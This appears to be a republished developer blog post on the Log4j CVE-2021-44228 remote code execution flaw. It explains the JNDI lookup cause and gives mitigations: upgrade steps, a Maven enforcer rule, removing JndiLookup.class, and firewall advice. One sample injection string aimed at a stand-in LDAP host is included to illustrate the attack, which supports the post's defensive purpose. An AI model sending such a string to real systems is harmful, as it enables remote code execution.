Log4j RCE 0-day vulnerability (CVE-2021-44228) mitigation actions

Alexius DiakogiannisJanuary 17th, 2022Last Updated: January 17th, 2022

1 48 2 minutes read

I had an update from my very good friend and excellent consultant Stella Varvarigou in which she explained me that setting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false does not fully mitigate the threat as it is possible to send the exploit code with the request.[2]

Introduction

Apache Log4j, the most popular logging system, has announced a zero-day exploit CVE-2021-44228 on December 9, 2021 that results in remote code execution. Let’s analyze whys this happened and what can be done in order to mitigate the risk.

Why this happened?

In version 2.0-beta9, Log4j added the “JNDILookup plugin” in order to allow variables to be retrieved via JNDI. With JNDI you can retrieve java, ldap, and ldaps protocols or no protocol at all. The problem is that it used a syntax ${prefix:name} where prefix is one of a number of different Lookups where name should be evaluated. For example, ${java:version} is the current running version of Java [1]. This syntax can be exploited with the use of a `:` present in the key so all the attacker has to do is to find some input that gets logged and add for example ${jndi:ldap://example.com/a}. This could be any commonly gets logged HTTP header like User-Agent.

How this can be mitigated?

Easily… The mitigations actions are the following

Upgrade!

Update to version 2.15.0 that you can download from here Log4j v2.15.0

For Maven users

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-web</artifactId>
    <version>2.15.0</version>
</dependency>

If you want to check for a transient dependency run mvn dependency:tree -Dverbose | grep log4j (if u are on linux or Mac) and search for something like log4j-api:jar:<version>:compile in order to see the version. If you are on windows use mvn dependency:tree -Dverbose > depentencies.txt and open the depentencies.txt file and search for the test there. It would also be best to apply an enforcer plugin rule in order to avoid having a vulnerable version through a transient dependency. A gist can be found here https://gist.github.com/diakogiannis/45d621b08d0d67b8190b951c4b64cbbd

<plugin>
  <groupId>org.apache.maven.plugins</groupId>
  <artifactId>maven-enforcer-plugin</artifactId>
  <version>3.0.0</version>
  <executions>
    <execution>
      <id>block-vulnerable-log4j-versions</id>
      <phase>validate</phase>
      <goals>
        <goal>enforce</goal>
      </goals>
      <configuration>
        <rules>
          <bannedDependencies>
            <excludes>
              <exclude>org.apache.logging.log4j:log4j-core:(,2.15.0)</exclude>
            </excludes>
          </bannedDependencies>
        </rules>
        <fail>true</fail>
      </configuration>
    </execution>
  </executions>
</plugin>

For Gradle users check this tweet from Cédric Champeau https://twitter.com/CedricChampeau/status/1469608906196410368/photo/1

Remove the class from the jar

Yes, this is dirty and the last resort action but it is pretty easy and it works if you can not upgrade or change the properties of an application. Look for the log4j-core-*.jar and execute zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Tune your firewall

Most of the commercial firewall services like Cloudflare have already created firewall rules to prevent extended requests that might exploit this. If you don’t have a commercial solution be sure to create rules that block the JNDI Lookup in common locations in an HTTP request like URL, header, and body and also block outgoing LDAP and RMI connections.

CITATIONS

[1] https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
[2] https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/

Published on Java Code Geeks with permission by Alexius Diakogiannis, partner at our JCG program. See the original article here: Log4j RCE 0-day vulnerability (CVE-2021-44228) mitigation actions

Opinions expressed by Java Code Geeks contributors are their own.

Log4j RCE 0-day vulnerability (CVE-2021-44228) mitigation actions

Introduction

Why this happened?